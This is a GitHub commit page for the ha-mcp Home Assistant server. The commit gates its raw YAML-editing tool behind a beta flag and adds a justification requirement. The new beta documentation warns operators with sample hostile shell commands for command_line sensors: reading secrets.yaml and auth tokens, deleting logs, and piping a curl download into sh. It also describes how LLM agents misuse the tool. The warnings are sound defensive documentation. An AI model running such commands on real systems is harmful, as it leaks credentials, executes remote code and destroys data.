Skip to content

Commit 9e83dc4

Browse files
feat: harden ha_config_set_yaml description and require justification (#942)
* feat: harden ha_config_set_yaml description and require justification LLM agents routinely reach for ha_config_set_yaml to create trigger-based template sensors even though ha_set_config_entry_helper (domain=template) supports them natively. The previous description listed ha_config_set_helper as the preferred alternative for template sensors, but ha_config_set_helper's helper_type enum does not include 'template' — so an agent that tried to follow the guidance would hit a schema error and then fall back to raw YAML editing. This change: - Reframes the docstring and tool title as an escape hatch. The first sentence now warns instead of welcoming, and the dedicated-tool preference list is the first thing a model sees. - Points template sensors (state-based AND trigger-based) at the correct tool, ha_set_config_entry_helper with helper_type='template', which does support triggers via the config entry flow. - Hardens the yaml_path parameter description with per-key warnings, so the nudge survives context compression even when the full docstring is trimmed by the client. - Adds a required justification parameter (mirroring the pattern from ha_manage_custom_tool in #854). Justification is validated non-empty, logged, and exists purely as friction — the goal is to make an agent pause and articulate why no dedicated tool fits before reaching for the escape hatch. Ref: discussion #936 * fix(internal): address Gemini review feedback - Correct parameter name: ha_set_config_entry_helper takes `helper_type='template'`, not `domain='template'`. Wrong parameter name in the description would cause an LLM that tried to follow the guidance to hit a schema error. - Point Groups, min/max, threshold, derivative, statistics, utility_meter, trend, filter, switch_as_x at ha_set_config_entry_helper — these are config-flow helpers, not ha_config_set_helper entries (which only handles input_*, counter, timer, schedule, zone, person, tag). - Remove utility_meter from the yaml_path description's example list — it conflicted with the "use a helper for this" line in the docstring. - Start docstring with an action verb per the repo style guide (.gemini/styleguide.md rule: Get/List/Search/Create/Update/...). - Fix test_missing_justification_rejected assertion: create_error_response returns a nested dict under "error", so `.lower()` on it raised AttributeError. Match against the stringified response instead. --------- Co-authored-by: kingpanther13 <kingpanther13@users.noreply.github.com>
1 parent 235a0a4 commit 9e83dc4

10 files changed

Lines changed: 161 additions & 83 deletions

File tree

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -174,7 +174,7 @@ Spend less time configuring, more time enjoying your smart home.
174174
| **Scripts** | `ha_config_get_script`, `ha_config_remove_script`, `ha_config_set_script` |
175175
| **Search & Discovery** | `ha_deep_search`, `ha_get_overview`, `ha_get_state`, `ha_search_entities` |
176176
| **Service & Device Control** | `ha_bulk_control`, `ha_call_service`, `ha_get_operation_status`, `ha_list_services` |
177-
| **System** | `ha_backup_create`, `ha_backup_restore`, `ha_check_config`, `ha_config_set_yaml`, `ha_get_system_health`, `ha_get_updates`, `ha_reload_core`, `ha_restart` |
177+
| **System** | `ha_backup_create`, `ha_backup_restore`, `ha_check_config`, `ha_config_set_yaml` *(beta)*, `ha_get_system_health`, `ha_get_updates`, `ha_reload_core`, `ha_restart` |
178178
| **Todo Lists** | `ha_get_todo`, `ha_remove_todo_item`, `ha_set_todo_item` |
179179
| **Utilities** | `ha_eval_template`, `ha_install_mcp_tools`, `ha_report_issue` |
180180
| **Zones** | `ha_get_zone`, `ha_remove_zone`, `ha_set_zone` |

docs/beta.md

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
# Beta Features
2+
3+
Some ha-mcp tools are gated behind feature flags and ship only with the **dev channel** of the add-on (or via environment variables for non-add-on installs). These tools are considered **beta**: their behavior, scope, or safety profile is still being evaluated, and they may change, stay beta indefinitely, be promoted to stable, or be removed entirely based on field experience.
4+
5+
Beta tools are **not available** in the stable "Home Assistant MCP Server" add-on. If you enable the dev channel add-on and flip the corresponding toggle, you accept the risks documented below for each tool.
6+
7+
## Current beta tools
8+
9+
| Tool | Toggle / env var | Rationale |
10+
|---|---|---|
11+
| `ha_config_set_yaml` | `enable_yaml_config_editing` (dev add-on toggle) / `ENABLE_YAML_CONFIG_EDITING=true` (env var) | Raw YAML editing of `configuration.yaml` and packages/*.yaml. Can cause silent schema failures, execute shell commands via the `command_line:` domain, or put Home Assistant into recovery mode. See caveats below. |
12+
13+
## How to enable
14+
15+
### Option 1: Dev channel add-on (Home Assistant users)
16+
17+
The dev channel add-on is a separate entry in the HA add-on store with slug `ha_mcp_dev` and name "Home Assistant MCP Server (Dev)". It tracks master on every push, so it always has the latest tools and beta toggles.
18+
19+
1. Install the **Home Assistant MCP Server (Dev)** add-on from the ha-mcp repository. See [docs/dev-channel.md](dev-channel.md) for installation details.
20+
2. Open the add-on's **Configuration** tab.
21+
3. Flip the beta toggle for the tool you want (for example, `enable_yaml_config_editing`).
22+
4. Restart the add-on.
23+
24+
The stable add-on does not expose these toggles at all. If you want a beta tool, you must be on the dev channel.
25+
26+
### Option 2: Environment variable (non-add-on installs)
27+
28+
If you run ha-mcp outside the HA add-on (pip / uv / uvx / Docker direct / self-hosted), beta tools are gated by environment variables. Set the variable before starting the server:
29+
30+
```bash
31+
# Example: enable ha_config_set_yaml
32+
export ENABLE_YAML_CONFIG_EDITING=true
33+
uvx ha-mcp
34+
```
35+
36+
The tool registers only when its gating variable is set to `true`. Any other value (unset, `false`, `0`, empty) leaves it disabled.
37+
38+
## Caveats
39+
40+
### `ha_config_set_yaml`
41+
42+
Raw YAML editing bypasses Home Assistant's config-entry flow and operates directly on `configuration.yaml` and package files. Known ways an LLM using this tool can break a live HA instance, all verified against HA 2026.4.1 and all passing `ha_check_config` and `ha_restart` without error:
43+
44+
**Silent schema failures.** `ha_check_config` has blind spots on integration-level schema errors. The following mistakes write to disk successfully, HA boots clean, and the target entity silently does not exist — the only trace is a line in `home-assistant.log` that the user never sees:
45+
46+
- Legacy `- platform: template` + `sensors:` dict inside the modern `template:` block (common LLM confusion between template sensor styles)
47+
- Modern `template:` entry using `value_template:` instead of `state:`
48+
- Unclosed Jinja (`state: "{{ ... float * 9/5 + 32 "` — missing `}}`)
49+
- Missing `sensor:` wrapper inside `template:`
50+
- Bad Jinja filter names (`| tofloat(0)` instead of `| float(0)`)
51+
- Hallucinated trigger platforms (`platform: sensor_changed`)
52+
53+
**`action: remove` nukes the entire top-level key.** Asking the LLM to "remove the Coin Flip sensor" can produce `ha_config_set_yaml(yaml_path="template", action="remove")`, which deletes every template sensor under `template:`, not just the one the user meant.
54+
55+
**`command_line:` executes shell commands as the HA container user.** The whitelist allows `command_line:` sensors because many legitimate use cases depend on it (disk usage, uptime, etc.), but the same mechanism accepts any `command:` string. A well-intentioned LLM can produce:
56+
57+
- `command: "cat /config/secrets.yaml"` → sensor state is the contents of `secrets.yaml`, readable via any authenticated HA API call
58+
- `command: "rm -rf /config/home-assistant.log.*"` → deletes backups
59+
- `command: "cat /config/.storage/auth"` → leaks refresh tokens
60+
- `command: "curl http://example.com/x.sh | sh"` → runs arbitrary remote code
61+
62+
**Silent override of built-in services.** An LLM writing a plausible-looking legacy `notify:` entry can silently replace `notify.persistent_notification` (used by every "notify me when X" automation by default) with a misconfigured SMTP delivery that fails at DNS resolution, breaking notifications system-wide with no visible error.
63+
64+
**Recovery mode.** `!include` / `!secret` referencing a nonexistent target writes bad YAML to disk. `ha_restart` blocks, but any non-HA-MCP restart path (supervisor restart, HA UI "Restart" button, host reboot) puts HA into **recovery mode**: frontend serves HTTP 200 but no automations, integrations, or custom components are loaded. The `ha_mcp_tools` custom component fails to load in recovery mode, so `ha_config_set_yaml` cannot be used to fix its own damage — the user has to SSH, use the File Editor add-on, or `docker exec` in to hand-restore the backup.
65+
66+
**Per-edit backups are not restorable by any ha-mcp tool.** `backup=True` writes `www/yaml_backups/<file>.<timestamp>.bak` on every destructive call, but no ha-mcp tool can read, list, or restore those files. `ha_backup_create` / `ha_backup_restore` operate on HA's full-system snapshots, not per-edit YAML backups. Once HA is in recovery mode, recovery is filesystem-level only.
67+
68+
If, after reading the above, you still want this tool enabled, the operator-level expectation is:
69+
70+
- You are comfortable editing `configuration.yaml` directly via SSH or the File Editor add-on when things break.
71+
- You run `ha_check_config` after every LLM-initiated edit and verify the target entity actually exists before assuming success.
72+
- You understand that an LLM using this tool can cause damage no other ha-mcp tool can cause, and that the dedicated config-flow tools (`ha_set_config_entry_helper`, `ha_config_set_automation`, `ha_config_set_script`, `ha_config_set_dashboard`, etc.) should be preferred for anything they can express.
73+
74+
## Rationale
75+
76+
The decision to move `ha_config_set_yaml` to beta status came out of [PR #942](https://github.com/homeassistant-ai/ha-mcp/pull/942) and [discussion #936](https://github.com/homeassistant-ai/ha-mcp/discussions/936). The short version: the tool's blast radius is unique among ha-mcp tools, LLMs empirically reach for it when a dedicated tool would be correct, and gating it behind the dev channel lets stable add-on users opt out entirely while keeping the tool available to operators who explicitly want it.
77+
78+
## Graduating a beta tool
79+
80+
A beta tool can move to stable when:
81+
82+
1. It has been exercised by dev-channel users for at least two biweekly release cycles without new failure modes being reported.
83+
2. Its safety profile is documented and its caveats can be mitigated by documentation or defensive tool design.
84+
3. A maintainer decides the stable audience is ready for it.
85+
86+
Graduation is a conscious decision, not an automatic one. Some beta tools may stay beta indefinitely or be removed entirely if field experience shows they cannot be made safe for general stable use.

homeassistant-addon-dev/translations/en.yaml

Lines changed: 14 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -29,9 +29,17 @@ configuration:
2929
enable_yaml_config_editing:
3030
name: Enable YAML config editing
3131
description: >-
32-
Allow AI assistants to add, replace, or remove top-level keys in
33-
configuration.yaml and packages/*.yaml. Only whitelisted keys are
34-
allowed (e.g., template, sensor, command_line, mqtt). Core keys
35-
like homeassistant, http, and recorder are blocked. A backup is
36-
created before every edit. Use for YAML-only features that have no
37-
UI or API alternative. Requires restart to take effect.
32+
Disabled by default. Intended for operators that are comfortable
33+
with the risk of editing configuration.yaml. Each edit validates
34+
YAML syntax, runs a Home Assistant config check before committing,
35+
and writes an automatic backup whose path is returned in the tool
36+
response. Even with these safeguards a validated edit can still
37+
leave Home Assistant unable to start, and recovery may require SSH
38+
access to restore from the backup or, in the worst case, a full
39+
reinstall. AI assistants also sometimes use this tool inappropriately
40+
when a dedicated tool (automations, scripts, scenes, helpers,
41+
template sensors) would be correct. Allows AI assistants to add,
42+
replace, or remove top-level keys in configuration.yaml and
43+
packages/*.yaml. Only whitelisted keys are allowed (e.g., template,
44+
sensor, command_line, mqtt); core keys like homeassistant, http,
45+
and recorder are blocked. Requires restart to take effect.

homeassistant-addon/DOCS.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -331,6 +331,8 @@ If the add-on is slow or unresponsive:
331331

332332
The add-on provides 86+ MCP tools for controlling Home Assistant:
333333

334+
> Tools marked **(beta — dev channel only)** are gated behind feature flags and ship with the dev channel add-on only. See [docs/beta.md](https://github.com/homeassistant-ai/ha-mcp/blob/master/docs/beta.md) for setup and caveats.
335+
334336
### Add-ons
335337
- `ha_call_addon_api` — Call an add-on's HTTP or WebSocket API.
336338
- `ha_get_addon` — Get Home Assistant add-ons - list installed, available, or get details for one.
@@ -442,7 +444,7 @@ The add-on provides 86+ MCP tools for controlling Home Assistant:
442444
- `ha_backup_create` — Create a fast Home Assistant backup (local only).
443445
- `ha_backup_restore` — Restore Home Assistant from a backup (LAST RESORT - use with extreme caution).
444446
- `ha_check_config` — Check Home Assistant configuration for errors.
445-
- `ha_config_set_yaml` — Add, replace, or remove a top-level key in configuration.yaml or package files.
447+
- `ha_config_set_yaml` **(beta — dev channel only)** — Update raw YAML configuration in configuration.yaml or packages/*.yaml (LAST RESORT).
446448
- `ha_get_system_health` — Get Home Assistant system health, including Zigbee (ZHA) and Z-Wave JS network diagnostics.
447449
- `ha_get_updates` — Get update information -- list all updates or get details for a specific one.
448450
- `ha_reload_core` — Reload Home Assistant configuration without full restart.

homeassistant-addon/config.yaml

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -21,19 +21,20 @@ host_network: true
2121
# Use pre-built Docker images
2222
image: "ghcr.io/homeassistant-ai/ha-mcp-addon-{arch}"
2323
# Options for user configuration
24+
# NOTE: enable_yaml_config_editing is intentionally NOT exposed here.
25+
# It is a dev-channel-only beta feature — see docs/beta.md. Do not re-mirror
26+
# from homeassistant-addon-dev/config.yaml without reading that doc first.
2427
options:
2528
backup_hint: "normal"
2629
enable_skills: true
2730
enable_skills_as_tools: false
2831
enable_tool_search: false
29-
enable_yaml_config_editing: false
3032
schema:
3133
backup_hint: list(strong|normal|weak|auto)
3234
secret_path: str?
3335
enable_skills: bool?
3436
enable_skills_as_tools: bool?
3537
enable_tool_search: bool?
36-
enable_yaml_config_editing: bool?
3738
# Add-on exposes HTTP port for MCP communication (fixed internal port)
3839
ports:
3940
9583/tcp: 9583

homeassistant-addon/translations/en.yaml

Lines changed: 0 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -26,12 +26,3 @@ configuration:
2626
deferred tools or with smaller context windows. Tools are found via
2727
ha_search_tools and executed via categorized proxies (read/write/delete).
2828
Requires restart to take effect.
29-
enable_yaml_config_editing:
30-
name: Enable YAML config editing
31-
description: >-
32-
Allow AI assistants to add, replace, or remove top-level keys in
33-
configuration.yaml and packages/*.yaml. Only whitelisted keys are
34-
allowed (e.g., template, sensor, command_line, mqtt). Core keys
35-
like homeassistant, http, and recorder are blocked. A backup is
36-
created before every edit. Use for YAML-only features that have no
37-
UI or API alternative. Requires restart to take effect.

scripts/extract_tools.py

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -186,11 +186,18 @@ def generate_docs_section(tools: list[dict]) -> str:
186186
f"The add-on provides {len(tools)}+ MCP tools for controlling Home Assistant:",
187187
"",
188188
]
189+
if any("beta" in t["tags"] for t in tools):
190+
lines.extend([
191+
"> Tools marked **(beta — dev channel only)** are gated behind feature flags and ship with the dev channel add-on only. See [docs/beta.md](https://github.com/homeassistant-ai/ha-mcp/blob/master/docs/beta.md) for setup and caveats.",
192+
"",
193+
])
189194
for cat in sorted(categories):
190195
lines.append(f"### {cat}")
191196
for tool in sorted(categories[cat], key=lambda t: t["name"]):
192197
desc = tool["description"].split("\n")[0].strip() if tool["description"] else ""
193198
entry = f"- `{tool['name']}`"
199+
if "beta" in tool["tags"]:
200+
entry += " **(beta — dev channel only)**"
194201
if desc:
195202
entry += f" — {desc}"
196203
lines.append(entry)
@@ -236,7 +243,10 @@ def generate_readme_table(tools: list[dict]) -> str:
236243
categories: dict[str, list[str]] = {}
237244
for tool in tools:
238245
cat = tool["tags"][0] if tool["tags"] else "Other"
239-
categories.setdefault(cat, []).append(f"`{tool['name']}`")
246+
name = f"`{tool['name']}`"
247+
if "beta" in tool["tags"]:
248+
name += " *(beta)*"
249+
categories.setdefault(cat, []).append(name)
240250

241251
lines = [
242252
README_START_MARKER,

site/src/data/tools.json

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2432,12 +2432,12 @@
24322432
},
24332433
{
24342434
"name": "ha_config_set_yaml",
2435-
"title": "Set YAML Config",
2436-
"description": "Add, replace, or remove a top-level key in configuration.yaml or package files.\n\nIMPORTANT: Only use when NO UI or API alternative exists. Prefer:\n- Template sensors -> ha_config_set_helper (Template Helper)\n- Automations -> ha_config_set_automation\n- Scripts -> ha_config_set_script\n- Input helpers -> ha_config_set_helper\n- Scenes -> ha_config_set_scene\n\nThis tool is for YAML-only features with no UI/API path (e.g.,\ncommand_line sensors, platform-based MQTT sensors in YAML, rest\nsensors defined in packages).\n\nSafeguards: file backup, YAML validation, top-level key whitelist,\npath traversal blocking, post-edit config check.\n\nIMPORTANT: Check 'post_action' in the response. Most keys require\na full HA restart ('restart_required'). Only template, mqtt, and\ngroup support reload ('reload_available' with 'reload_service').\n\nPreserves YAML comments on sibling keys, file-level comments,\nand Home Assistant tags (!include, !secret, etc.). The 'replace' action\nsubstitutes the subtree as-is, so comments from the old subtree\ndo not carry over.",
2435+
"title": "Raw YAML Config Edit",
2436+
"description": "Update raw YAML configuration in configuration.yaml or packages/*.yaml (LAST RESORT).\n\n**WARNING:** Destructive, disabled by default. Dedicated tools exist for\nalmost every use case and should be preferred:\n\n- Template sensors (state-based or trigger-based) ->\n ha_set_config_entry_helper(helper_type='template')\n- Automations -> ha_config_set_automation\n- Scripts -> ha_config_set_script\n- Scenes -> ha_config_set_scene\n- Input helpers -> ha_config_set_helper\n- Groups, min/max, threshold, derivative, statistics, utility_meter,\n trend, filter, switch_as_x -> ha_set_config_entry_helper\n\nIntended for YAML-only integrations with no config-flow or API\nequivalent (command_line, rest, shell_command, notify platforms).\nCheck ``post_action`` in the response: most keys need a full HA\nrestart; template, mqtt, and group support reload. Preserves YAML\ncomments and HA tags (``!include``, ``!secret``) on round-trip;\n``replace`` swaps the subtree as-is.\n\nFor detailed routing guidance, use ha_get_skill_home_assistant_best_practices.",
24372437
"inputSchema": {
24382438
"properties": {
24392439
"yaml_path": {
2440-
"type": "Annotated[str, Field(description=\"Top-level YAML key to modify (e.g., 'template', 'sensor', 'input_boolean'). Only whitelisted keys are allowed.\")]"
2440+
"type": "Annotated[str, Field(description=\"Top-level YAML key to modify. Only a narrow allowlist of YAML-only integration keys is accepted (e.g., 'command_line', 'rest', 'shell_command', 'notify'). Not for template sensors (use ha_set_config_entry_helper), automations, scripts, scenes, or input_* helpers — those have dedicated tools.\")]"
24412441
},
24422442
"action": {
24432443
"type": "Annotated[str, Field(description=\"Action to perform: 'add' (insert/merge content under key), 'replace' (overwrite key with new content), or 'remove' (delete the key entirely).\")]"
@@ -2465,7 +2465,8 @@
24652465
"idempotentHint": false
24662466
},
24672467
"tags": [
2468-
"System"
2468+
"System",
2469+
"beta"
24692470
],
24702471
"source_file": "tools_yaml_config.py"
24712472
},

0 commit comments

Comments
 (0)